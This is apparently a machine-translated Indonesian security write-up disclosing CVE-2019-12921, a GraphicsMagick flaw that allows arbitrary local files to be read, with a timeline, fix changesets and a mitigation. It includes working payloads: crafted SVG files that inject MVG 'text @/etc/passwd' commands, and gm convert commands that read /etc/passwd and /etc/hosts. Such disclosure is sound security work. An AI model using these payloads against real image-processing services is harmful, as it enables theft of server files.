Tragedi tidak datang sendiri


Pada 2016, kerentanan ImageTragick di ImageMagick membuat banyak kebisingan. Sebagai cara untuk mengurangi risiko, diusulkan untuk menggunakan GraphicsMagick , cabang dari perpustakaan ImageMagick, yang ditujukan untuk API yang lebih stabil dan produktif. Kerentanan asli CVE-2016-3717, ditemukan oleh stewie , memungkinkan penyerang untuk membaca file sewenang-wenang pada sistem file menggunakan gambar yang dibuat secara khusus. Hari ini saya akan mempertimbangkan kerentanan serupa di GraphicsMagick yang saya temukan saat menganalisis kode sumber perpustakaan.


Eksploitasi asli melalui 'label' protokol pseudo- protokol dari situs ImageTragick tidak akan berfungsi.


push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context 


Alasannya adalah bahwa algoritma pemrosesan gambar ImagePrimitive dari file ReadImage render.c tidak dapat memproses string label: @ / etc / passwd sebagai gambar dan akan mengembalikan Tidak dapat membuka kesalahan file. Kode fungsi:


 #define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; } 

Meskipun demikian, kemampuan untuk membaca gambar pada sistem file tetap ada, tetapi hanya dapat digunakan untuk mengumpulkan informasi internal. Contoh pengoperasian "fitur" ini dapat ditemukan dalam laporan program BugBounty, misalnya di sini .
Hal ini membuat saya mempelajari secara rinci penerapan codec Label di GraphicsMagick. Untuk melakukan ini, kami melakukan konversi:


 $ gm convert label:@etc/passwd output.png 

Pustaka mengembalikan baris pertama dari file / etc / passwd, yang berarti bahwa protokol pseudo tetap rentan, tetapi dalam banyak kasus tidak cocok untuk penyerang, karena tidak ada kemungkinan untuk mempengaruhi baris perintah. Untuk memahami bagaimana Anda dapat mengeksploitasi "fitur" ini, mari kita lihat alasannya. Label pseudo-protocol mengkonversi string menggunakan fungsi TranslateTextEx:


 text=(char *) formatted_text; /* If text starts with '@' then try to replace it with the content of the file name which follows. */ if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); } 

Fungsi menerima parameter input formatted_text dan jika garis dimulai dengan karakter khusus '@', maka garis lebih lanjut dianggap oleh GM sebagai path lengkap ke file dari mana perlu membaca konten untuk transformasi. Mari kita lihat tempat-tempat lain di mana fungsi ini digunakan, yang dapat dieksploitasi oleh penyerang.


  1. /coders/msl.c adalah sejumlah kejadian, tetapi GM menggunakan bahasa ini sebagai bahasa scripting untuk perintah sulap dan tidak akan dipertimbangkan dalam artikel ini. Operasi dimungkinkan, tetapi akan memerlukan logika aplikasi spesifik
  2. /magick/attribute.c menangani atribut gambar. Fungsi TranslateText dipanggil untuk atribut komentar dan label ketika mereka diteruskan langsung oleh pengguna, daripada disimpan dalam gambar itu sendiri. Pengembang meninggalkan kami tip kecil:


      Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open. 

    Tetapi apa yang terjadi jika pemrosesan oleh fungsi SetImageAttribute pada gambar dilakukan setelah tog as, blob ditutup. Ternyata ada semacam codec - SVG. Rantai panggilan ke fungsi ReadSVGImage adalah sebagai berikut:


    • Parser XML dimatikan
    • CloseBlob (gambar) menutup gumpalan
    • Delegasi MVG melakukan konversi
    • SetImageAttribute (gambar, "komentar", svg_info.comment) atribut komentar dan judul akan ditulis ke gambar.


Agar eksploitasi berhasil, penyerang memerlukan format terakhir untuk mendukung atribut ini, misalnya GIF, JPEG.


 <?xml version="1.0" standalone="no"?> <!--@/etc/passwd--> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg> 

 $ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg 


  1. /magick/annotate.c berikut ini adalah opsi yang baik untuk mengeksploitasi fungsi AnnotateImage, yang digunakan:
    • /coders/txt.c mirip dengan protokol TXT Lablel pseudo-protocol: yang tidak menarik, karena operasinya membutuhkan akses ke baris perintah.
    • /magick/render.c Dan di sini kita sampai pada eksploitasi akhir kita untuk teks Magick Vector Graphics primitive, yang memiliki sintaksis yang cukup sederhana:

 text "text" 

Operasi yang sukses dimungkinkan jika garis dimulai dengan karakter khusus '@'.


 $ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png 

Metode ini sangat jarang dalam aplikasi nyata, tetapi ada cara untuk mengeksploitasi kerentanan ini menggunakan delegasi. Delegasi adalah prosesor gambar eksternal yang formatnya tidak didukung oleh perpustakaan. Ada sejumlah codec yang dikonversi ke file sementara dan pemrosesan lebih lanjut dilakukan oleh protokol semu MVG. Seperti disebutkan sebelumnya, codec ini adalah SVG.


Operasi CVE-2019-12921


Gambar XML Parser SVG mengubah markup ke file perantara:


 FormatString(clone_info->filename,”mvg:%.1024s",filename); 

Konversi tag img memiliki kode berikut:


  case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; } 

Untuk eksploitasi, kita perlu memutus konteks string dengan tanda kutip yang biasa dan menambahkan exploit kita:


 <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg> 

 $ gm convert exploit.svg output.png 

Gambar akhir


Operasi untuk codec lain menggunakan delegasi MVG akan sesuai dengan kebijaksanaan pembaca.


Perlindungan


Versi GM terbaru tersedia di situs web pabrikan. Perbaikan menghapus dukungan file dengan simbol @ khusus saat ini, Mercurial changesets 16037: f780c290b4ab dan 16038: 44e3d0e872eb untuk fungsi TranslateTextEx. Menurut pengembang, di masa depan, logika ini akan dikembalikan dalam implementasi yang lebih aman. Sebagai solusinya, disarankan menggunakan variabel lingkungan MAGICK_CODER_STABILITY = PRIMARY


Garis waktu


Informasi tentang kerentanan ditransfer ke pengembang pada 6 Juni 2019, perbaikan terbaru dirilis hari itu. Pada 15 Juni 2019, sebuah surat informasi diterbitkan di www.openwall.com . Pada 20 Juni 2019, CVE-2019-12921 ditugaskan untuk masalah ini.

Source: https://habr.com/ru/post/id458926/


All Articles